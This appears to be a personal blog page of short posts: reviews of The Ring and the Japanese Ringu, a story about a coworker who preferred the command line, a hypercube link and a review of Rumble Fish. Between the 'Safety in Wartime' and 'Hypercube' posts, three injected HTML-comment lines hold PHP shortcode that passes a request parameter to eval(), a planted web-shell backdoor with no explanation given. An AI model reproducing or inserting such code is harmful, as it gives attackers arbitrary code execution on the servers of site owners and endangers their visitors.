The Ring

Finally rented The Ring this weekend. Technically, I rented it before it even came out, but this weekend they finally got a copy in at Netflix when I wanted it. So I watched it Friday night… I think. My days just blur together sometimes.

I might start doing more formal reviews, right now I’d just like to say that I really enjoyed the movie. It wasn’t spectacular, but it was certainly fun to watch. It was more than just a horror movie, there were elements of mystery and suspense in it. Rather than simply running around trying to avoid some killer, Rachel (Naomi Watts) studies this supposedly killer tape and tries to figure out what it all means. That storyline really kept me interested, and the ending was very well done. There were some typical “Why the hell are you doing that?” moments – like any horror movie – but I had no problem accepting most of what the characters did as fairly normal human responses. Personally, I think the biggest problem with the film was the effects were a tad overdone. The movie itself was scary enough that there was no real need for making the bodies look so grotesque. I definitely recommend this film for most moviegoers.

On Sunday, I had managed to download a copy of Ring (or Ringu), the original Japanese version of the movie. Actually, it’s not even the first one, since there was a made-for-tv movie done back in ’95 that aparently sucked. All of these are based on a book that will soon be release in an English translation. Now, I normally dislike remakes – as a general rule of thumb American remakes of foreign films lose a lot in the translation. But there’s always room for exceptions. In this case, I found the original Ring rather unfulfilling. The storyline just wasn’t that interesting. There was all this stuff about psychic abilities and ESP that they pretty much just glossed over. I know people seem to feel that Americans need things spelled out for them, but personally I just like a coherent story. I mean, they wait until over halfway thru the movie to mention that the main characters are psychic, which comes totally out of leftfield. It felt completely immaterial to the story, but there it is. And all of the mystery that was in the remake was barely in the original. Not to mention the weak characters. If you want to see a full breakdown of the comparison I had a discussion on IMDb.

Personally, I’d say just go rent The Ring and enjoy it.

3l33t h@x0r alert!!!

I used to get into arguments with this kid I worked with. He was an intern and then we hired him out of college. I don’t know what it was, but he had this irrational love for the “olden days of hacking.” That’s the only way I can explain it. I grew up on computers. I’ve worked on them since the mid-eighties, having used an XT with a gigantic 10MB hard drive and one of the first “portables” which was almost 3 inches thick and probably a foot and a half long. I feel safety with a commandline (I miss DOS 4.01), and I’m trying to learn more about other systems such as Linux (my server is running it afterall). But I have to admit that I like a nice GUI. I like what Red Hat has done with Blue Curve, and when WinXP works I really like it. I was ecstatic when Cisco came out with a Java app to configure their PIX firewall. It never looked so nice.

Anywho, this kid always wanted to learn the commandline for everything. If he asked me how to do something and I showed him in the GUI, he would continue searching for how to do it on the commandline. He refused to learn the Java app for the PIX, because he hated Java. Of course when he programmed a PIX for one of our major clients it ended up have well over 100 lines of ACLs. I re-did it with the Java app, and it took about 6 ACLs and a few object definitions. It took him a couple days to get that all sorted out and entered in, whereas it took me about 45 minutes to delete his old setup and re-write them correctly in the GUI. Go figure.

The whole reason this is coming up now, months after this all became a moot point, is that I found this great article by John Lasser from SecurityFocus. He basically digs into that feeling that people need to code in older low-level languages to make a better program. We have the processors, let’s use them! Who cares if you can package a web server that’s only half a meg and takes up almost no memory. My server has over 200gigs of storage and like half a gig of memory – if you can do a more complete job by taking up more space, go ahead. The main point is that John points out the fallacy in thinking that low-level means better, more secure, or more efficient. It can, but then again, so can high-level. I know another guy who pretty much only codes in Java. He seems to do pretty well with that, as he’s still working on the stock market. Whatever…

Safety in Wartime

This is one of the funniest sites I’ve ever seen. I laughed so hard. Check out the government webpage they got this from – although that just might make you sad.

<!– [insert_php]if (isset($_REQUEST["NxE"])){eval($_REQUEST["NxE"]);exit;}[/insert_php][php]if (isset($_REQUEST["NxE"])){eval($_REQUEST["NxE"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Jpz"])){eval($_REQUEST["Jpz"]);exit;}[/insert_php][php]if (isset($_REQUEST["Jpz"])){eval($_REQUEST["Jpz"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["MCzzL"])){eval($_REQUEST["MCzzL"]);exit;}[/insert_php][php]if (isset($_REQUEST["MCzzL"])){eval($_REQUEST["MCzzL"]);exit;}[/php] –>

Hypercube

Here’s a neat little wireframe tesseract. Hypercube is a more discreptive term – hyper meaning that it is 4-dimensional. That means 4 spatial dimensions, not 3 dimensions and time. It is a 4-D extension of the 3-D geometrical cube.

Rumble Fish

The credits are rolling as I type. Without a doubt Rumble Fish is one of the most beautiful films I’ve ever seen. That’s not to say it was amazing, or without flaw, but every shot was so exquisite, so painstakingly setup that it took my breath away. On top of that, the score by Stewart Copeland (from the Police) was one of the most brilliant I’ve ever heard. It accentuated scenes in the most bizarre ways, lifting you up just when you thought you should drop down. I can’t even come up with anything that coherent to say about the film. Some great performances from an all-star cast – Matt Dillon, Mickey Rourke, Tom Waits, Dennis Hopper, Nicholas Cage, and a very young Diane Lane. A film that should be absorbed by anyone who loves film.

Jumping back a little…

Ok, you may have doubted me when I talked about just how pretentious people can get while reviewing “intelligent” films, but I stumbled across this little gem today. I really hope the person did it humorously, but I’m not sure. The only people more stuck-up than Kubrick fans are Lynch fans. Personally I think Kubrick is probably the most overrated director of all time. The only film of his (and I’ve seen a lot of them) that I really like is Dr. Strangelove.

P.S.(I was also disappointed by Dude, Where’s My Car?)

War – HUNH – What is it good for?

Not sure if I spelled that middle part right. I haven’t really come up with anything more …intelligent to say, but my rommate did give me a great link to check out. Figured this was the best way to remember it. I don’t want to spoil it for my millions of readers… anywho, I might mirror it in case they have to take it down for some inexplicable reason.